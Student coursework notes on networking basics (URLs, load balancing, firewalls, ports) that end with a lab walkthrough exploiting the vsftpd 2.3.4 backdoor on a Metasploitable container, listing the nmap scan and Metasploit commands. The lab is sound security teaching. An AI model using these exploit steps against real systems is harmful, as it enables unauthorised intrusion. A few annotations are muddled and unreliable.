1. What happens when you enter a url like this one into a browser? https://www.github.com

* If ports are not specified in right side of https, then it sends to port tcp 443

When you enter the URL "[https://www.github.com](https://www.github.com/)" into a browser, the following steps typically occur:

1. The browser parses the URL to determine the protocol, in this case, "https", which stands for Hypertext Transfer Protocol Secure. This protocol is used for secure communication over the internet.
2. The browser then performs a DNS lookup to resolve the domain name "github.com" to an IP address. DNS stands for Domain Name System, and it is a system that translates human-readable domain names into machine-readable IP addresses.
3. Once the IP address is obtained, the browser establishes a TCP connection to the server at that address.
4. If the server requires it, the browser performs a TLS handshake to establish a secure connection.
5. Once the connection is established, the browser sends an HTTP request to the server, asking for the content of the website located at the specified URL.
6. The server processes the request, generates an appropriate response, and sends it back to the browser over the established connection.
7. The browser then renders the content of the response, which typically includes HTML, CSS, and JavaScript code that define the layout, styling, and behavior of the website.
8. The browser also retrieves any additional resources, such as images or scripts, that are referenced in the HTML code, and renders them as necessary.
9. Finally, the browser displays the fully-rendered website to the user.
10. Load Balancing

Load balancing is a technique used to distribute incoming network traffic across multiple servers or resources to avoid overloading any one server or resource.

Think of it like a traffic cop at a busy intersection. The traffic cop is responsible for directing traffic to different lanes to prevent congestion in any one lane. Similarly, load balancing distributes incoming traffic across multiple servers, directing requests to the server that can best handle the load at that time.

Load balancing can improve website and application performance by reducing the likelihood of server crashes or slowdowns due to excessive traffic. It can also help ensure that all available resources are being used efficiently, and can help prevent downtime in the event that one or more servers fail.

Overall, load balancing helps to optimize the use of available resources, ensure that requests are processed quickly and efficiently, and ultimately provide a better user experience for website visitors or application users.

* Combination of both hardware and software

1. Round Robin Method

Round robin is a load balancing technique that distributes incoming network traffic across multiple servers or resources in a circular, sequential manner.

Think of it like a round-robin tournament, where teams take turns playing against each other. In load balancing, the incoming requests are similarly distributed in a cyclical manner, with each server or resource taking turns processing the requests in a predetermined order. For example, if there are three servers in a round-robin configuration, the first request goes to server 1, the second to server 2, the third to server 3, and then the cycle repeats, with the fourth request going back to server 1 and so on.

This approach helps to ensure that each server or resource is utilized evenly, and that none become overwhelmed with too much traffic while others are underutilized. It also helps to distribute requests in a predictable and consistent manner, which can be useful for maintaining stability and reliability.

Overall, round robin is a simple and effective way to distribute incoming network traffic across multiple resources or servers, and can be used in a variety of load balancing scenarios.

1. How can firewalls contribute to network security?

Firewalls play a crucial role in network security by providing a barrier between internal network systems and external networks or the Internet. They act as a filter that blocks unauthorized access to the network, while allowing authorized traffic to pass through.

Here are some ways that firewalls contribute to network security:

1. Control access: Firewalls can be configured to allow or block traffic based on specific criteria such as IP addresses, port numbers, protocols, or packet contents. This helps prevent unauthorized access to the network by blocking traffic from untrusted sources.
2. Protect against threats: Firewalls can also be used to block traffic from known malicious sources or to prevent specific types of attacks such as Denial of Service (DoS) attacks. They can also detect and block traffic containing malware, viruses, or other types of malicious code.
3. Monitor traffic: Firewalls can log traffic activity, which can be used to detect potential security breaches, identify suspicious traffic patterns, or perform forensic analysis in the event of a security incident.
4. Enforce network policies: Firewalls can be configured to enforce network policies such as restricting access to certain websites or applications, blocking certain types of traffic, or enforcing encryption protocols.

Overall, firewalls are a critical component of network security and should be deployed and configured properly to protect against various types of threats and unauthorized access

* In CIA Triad, firewalls will help with availability

1. How can load balancers contribute to network security?

Load balancers can contribute to network security in several ways, including:

1. Distributing traffic: Load balancers can distribute incoming traffic across multiple servers, which can help prevent individual servers from being overwhelmed by traffic, and reduce the risk of downtime due to server failures. This can also help protect against Distributed Denial of Service (DDoS) attacks, which can flood servers with traffic.
2. Providing SSL termination: Load balancers can terminate SSL/TLS encryption and decrypt incoming traffic, which can help prevent security vulnerabilities in web servers and improve their performance.
3. Enforcing security policies: Load balancers can be configured to enforce security policies, such as blocking traffic from known malicious IP addresses or limiting access to specific resources based on user credentials.
4. Monitoring traffic: Load balancers can monitor traffic and detect unusual patterns, such as an unusually high volume of traffic from a specific IP address or region, which can help identify potential security threats.
5. Providing high availability: Load balancers can ensure high availability by directing traffic to healthy servers and automatically redirecting traffic away from servers that are experiencing issues, which can help prevent service disruptions due to network or server failures.

Overall, load balancers can help improve network security by providing a layer of protection against DDoS attacks, enforcing security policies, and monitoring traffic for potential threats.

* In the CIA Triad, firewalls will help with availability and confidentiality as it looks for signatures.

1. Display your network configuration using:

ipconfig command on Windows

ifconfig on Mac

What can you figure out about your network from this information?

On Windows, the "ipconfig" command displays the network configuration of the system, including the IP address, subnet mask, default gateway, and DNS servers for each network adapter. It can also display other information such as the MAC address and DHCP lease information. By examining this information, you can determine the IP address and other network settings of your system, as well as the connectivity to other devices on the same network.

On Mac, the "ifconfig" command is used to display the network configuration, including the IP address, subnet mask, and other settings for each network interface. It can also display information about the status of each interface, such as whether it is up or down, and whether it is using DHCP to obtain an IP address. By examining this information, you can determine the network settings of your Mac, as well as the connectivity to other devices on the same network.

In both cases, this information can be useful for troubleshooting network issues, such as connectivity problems or configuration errors, and for configuring network settings such as IP addresses, DNS servers, and other parameters.

1. Caches make it easier to load the already asked up questions. Speeds up the interaction on network
2. Protocols
   1. Address Resolution Protocol (ARP)
   2. Dynamic Host Configuration Protocol (DHCP)
   3. Border Gateway Protocol (BGP)
3. HTTP 429 = too many requests
4. **🔌Reflection Question #2:** This project uses a vulnerability on port 21 (FTP). What other ports would you check for vulnerabilities?   
   (Tip: The more commonly a port is used, the more likely it is to be vulnerable!)

There are many different ports that could potentially be vulnerable, and the specific vulnerabilities that may be present will depend on the services running on those ports. Here are a few examples of commonly targeted ports and some of the associated vulnerabilities:

* Port 22 (SSH): SSH servers can be vulnerable to brute-force attacks if weak passwords are used, or if the server is not configured securely.
* Port 80 (HTTP): Web servers running on port 80 can be vulnerable to various attacks, such as SQL injection, cross-site scripting (XSS), and file inclusion vulnerabilities.
* Port 443 (HTTPS): HTTPS services can also be vulnerable to various web-based attacks, as well as to issues such as certificate misconfigurations.
* Port 445 (SMB): SMB servers can be vulnerable to various exploits, such as EternalBlue, which was famously used in the WannaCry ransomware attack.
* Port 3389 (RDP): Remote Desktop Protocol (RDP) services can be vulnerable to brute-force attacks and other exploits if not properly secured.

This is by no means an exhaustive list, and there are many other ports that could potentially be vulnerable depending on the specific network configuration and services in use. It is important to regularly scan your network for open ports and to ensure that any services running on those ports are configured securely to minimize the risk of exploitation.

* **A GIF demonstrating the vsftpd backdoor exploit, showing:**
  + Using nmap to verify the vulnerability on port 21 (Part 2)
  + Running msfconsole, then loading and executing the exploit (Part 4)
  + Running lsb\_release -a from inside the exploited shell to prove access to Metasploitable (Part 4)
* Part 1 = Running lsb\_release -a on both Kali and Metasploitable (Part 1)

1. On Kali terminal
   1. lsb\_release -a
   2. ifconfig
   3. cat /etc/os-release
2. On metasploitable terminal
   1. docker start -ai metasploitable
   2. lsb\_release -a
   3. ifconfig

Part 2 - Using nmap to verify the vulnerability on port 21 (Part 2)

1. On Kali terminal
   1. nmap 172.17.0.2 --script vuln -p 21

Part 4 - Running msfconsole, then loading and executing the exploit (Part 4)

1. On Kali terminal
   1. msfconsole
   2. search vsftpd
   3. use exploit/unix/ftp/vsftpd\_234\_backdoor
   4. options
   5. set RHOSTS 172.17.0.2
   6. exploit
   7. Inside the command session
      1. lsb\_release -a
      2. Ifconfig
2. in metasploitable, When ifconfig, inetaddr = 172.17.0.2, ubuntu
3. In kali, ifconfig, inetadd = 172.17.0.1, kali
4. In msf6, before exploit ifconfig, inetaddr = 172.17.0.1, kali
5. After exploit inetaddr = 172.17.0.2, ubuntu